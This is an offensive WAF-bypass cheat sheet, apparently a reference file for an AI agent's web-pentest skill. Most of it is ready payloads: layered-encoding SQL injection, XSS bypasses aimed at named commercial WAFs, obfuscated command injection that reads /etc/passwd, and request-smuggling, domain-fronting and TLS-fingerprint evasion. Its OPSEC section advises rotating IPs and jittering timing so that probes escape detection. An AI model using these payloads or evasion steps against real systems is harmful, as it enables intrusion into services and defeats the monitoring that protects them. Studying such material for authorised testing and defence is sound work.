Skip to content

hypnguyen1209/offensive-claude / skills/web-pentest

web-pentest

Flagged

Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race

references/waf-bypass.md

View on GitHub
# WAF Bypass — cross-cutting evasion methodology

General WAF bypass techniques that apply across ALL vulnerability classes (SQLi, XSS, SSRF, cmdi,
SSTI, LFI, file-upload, XXE). Class-specific payloads are in the respective references; this file
covers the **evasion layer** — how to deliver a payload past a WAF that blocks the obvious form.
Technique content seeded from Claude-Red (MIT). ATT&CK T1190 / T1059. CWE-693 (protection mechanism
failure).

> **Evidence bar (finding-discipline):** bypassing the WAF is only the delivery — the finding is the
> underlying vuln (SQLi/XSS/etc.), not the bypass itself. A bypass that reaches an inert endpoint is
> `[INFO]` at best; a bypass + demonstrated impact (SQLi data, XSS exec, SSRF internal read) is the
> real finding. Document the bypass chain in the PoC and recommend WAF-rule hardening + fixing the
> underlying vuln.

## 1. Encoding & normalisation chains

Layer multiple encodings; the WAF decodes N layers but the app decodes N+1:
```
%27 OR 1=1                              # single URL-encode
%2527 OR 1=1                            # double URL-encode (WAF decodes to %27, app decodes to ')
%u0027 OR 1=1                           # IIS unicode (%uXXXX)
%C0%A7 OR 1=1                           # overlong UTF-8 for ' (2-byte; should be rejected per spec)
%EF%BC%87 OR 1=1                        # fullwidth apostrophe U+FF07 -> normalises to ' server-side
SELECT   # fullwidth 'SELECT' -> normalises on some stacks
' OR 1=1                           # HTML entity in a reflected/stored context
```
Chain: `double-URL + fullwidth + HTML-entity` in one payload when the WAF normalises only one layer.

## 2. Syntax-level obfuscation (per-class)

**SQLi:** inline comments (`UN/**/ION`), MySQL versioned comments (`/*!50000UNION*/`), case alternation
(`uNiOn SeLeCt`), plus-as-space (`UNION+SELECT`), `%0a`/`%09`/`%0b`/`%a0` as whitespace, scientific
notation for numbers (`1e0UNION`), string concat (`CONC`+`AT()`), hex literals (`0x61646d696e`), JSON
body to dodge regex on query-string (`{"id":"' OR 1=1--"}` — **CVE-2023-50969** bypassed AWS WAF,
Cloudflare, F5, Imperva in 2023 via JSON-syntax SQLi they didn't parse).

**XSS:** event-handler alternatives (`<svg/onload=`, `<details open ontoggle=`, `<marquee onstart=`),
backtick invocation (`` alert`1` ``), `atob()` decode (`eval(atob('YWxlcnQoMSk='))`), template-literal
injection (`` ${alert(1)} ``), HTML entity encoding (`&#x61;lert(1)`), namespace context (`<svg>`,
`<math>`, `<foreignObject>`). Per-WAF 2024-2025 bypasses:
```html
<!-- Cloudflare -->  <svg><animateTransform onbegin=alert`1`>
<!-- Akamai -->       <img src=x onerror="alert(1)">
<!-- AWS WAF -->      <iframe src="data:text/html,%3Cscript%3Ealert(1)%3C/script%3E">
<!-- Imperva -->      <img src=x onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;(1)">
<!-- F5 BIG-IP -->    <svg/onload=alert(1)//
<!-- Wordfence -->    <base href="javascript:/a/-alert(1)//">
```

**Command injection:** `${IFS}` as space, `$'\x63\x61\x74'` (bash ANSI-C quoting), `\c\a\t` (backslash
before each char), `'c'a't'` (quote-break), `$(printf '\x63\x61\x74')`, env-var substring
(`${PATH:0:1}` = `/`), heredoc/brace-expansion, `rev<<<'dwssap/cte/ tac'`.

## 3. Protocol-level bypass

- **HTTP/2 `:authority` header:** `curl --http2 -H "Host: allowed.com" https://actual-target/` — some
  WAFs only inspect `Host:` but not the HTTP/2 pseudo-header.
- **H2C upgrade smuggling:** `Connection: Upgrade, HTTP2-Settings\r\nUpgrade: h2c` — upgrade to
  cleartext HTTP/2 behind a load balancer, bypassing the WAF on the front-end (it only speaks HTTP/1.1).
- **HTTP/3 (QUIC):** WAFs that don't inspect QUIC traffic → `curl --http3 https://target/`.
- **WebSocket upgrade:** establish a WebSocket then send payloads inside WS frames (WAFs that only
  inspect HTTP request/response miss WS message bodies).
- **Chunked Transfer-Encoding abuse:** send the payload across multiple chunks so no single chunk
  matches the WAF regex: `4\r\nUNIO\r\n6\r\nN SELE\r\n3\r\nCT\r\n0\r\n\r\n`.
- **Multipart boundary:** embed the payload in a multipart field name or filename (lower WAF scrutiny
  than the body/query-string).

## 4. ML-based / AI WAF evasion (2024-2025)

Modern WAFs (Cloudflare AI WAF Attack Score, AWS ML rules) use classifier models:
- **Adversarial token padding:** `<script>/*benign benign benign*/alert(1)</script>` — dilute the
  signal-to-noise ratio so the ML confidence drops below the blocking threshold.
- **Cyrillic homoglyph:** `<ѕcript>alert(1)</ѕcript>` — Cyrillic `ѕ` (es) visually ≈ Latin `s`;
  the classifier sees an unknown tag, the browser normalises to `<script>`.
- **Feature-weight exploit:** embed the payload in a field the classifier weighs less (multipart
  `filename`, `Referer`, custom header, cookie value).
- **Context confusion:** mix SQL + XSS in one payload so the classifier can't decide the class and
  drops confidence: `'><script>alert(1)</script>' UNION SELECT 1--`.
- **Semantic evasion:** `<svg/onload=self[atob('YWxlcnQ='):](1)>` — no `alert` keyword.

## 5. SNI / domain fronting

Route through a shared CDN IP; the TLS SNI says an allowed domain but the HTTP Host header says the
blocked target — the WAF/firewall passes on SNI, the CDN routes on Host:
```bash
curl -k --connect-to allowed.example.com::198.51.100.23 \
     -H "Host: blocked.example.org" https://allowed.example.com/
```
Also: `openssl s_client -connect <CDN_IP>:443 -servername allowed.example.com`, then send the real Host.

## 6. TLS fingerprint (JA3/JA4) awareness

Some WAFs block by TLS fingerprint (standard curl/python-requests JA3 is flagged). Mitigate:
- `curl_cffi` / `tls-client` — mimics real browser TLS handshakes.
- `undetected_chromedriver`, `playwright-extra-plugin-stealth` — full browser automation with stealth.
- Rotate the JA3 by varying cipher-suite order, extensions, and ALPN.

## 7. WAF fingerprinting (know what you're bypassing)

Before bypass: identify the WAF. Different WAFs → different bypass sets:
```bash
wafw00f https://target.com                     # fingerprint by response headers/behavior
nmap --script http-waf-detect,http-waf-fingerprint target.com
# Manual: trigger a known-blocked payload (e.g. ' OR 1=1), read the block page
# (Cloudflare 1020/1015, AWS 403 x-amzn-RequestId, Akamai reference#, Imperva _incap_ses_)
```

## Detection & OPSEC

- WAF bypass probes are **heavily logged** — every blocked request increments a counter; many blocks
  trigger IP reputation scoring. Rotate source IPs; jitter timing; don't spray the full bypass corpus
  in one burst.
- A successful bypass still hits the app's access log — the WAF is one layer, not the only one.
- **Reporting:** recommend fixing the underlying vuln (parameterised query, output encoding) AND the
  WAF gap. A WAF bypass alone is not a vulnerability — it's a defence-in-depth failure.

## References

- PortSwigger WAF bypass research, Cloudflare AI WAF documentation.
- CVE-2023-50969: JSON SQLi WAF bypass.
- wafw00f, sqlmap tamper scripts, nuclei WAF templates.
- Seebug "Bypass WAF" series; Team82 / Claroty JSON WAF bypass research.
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall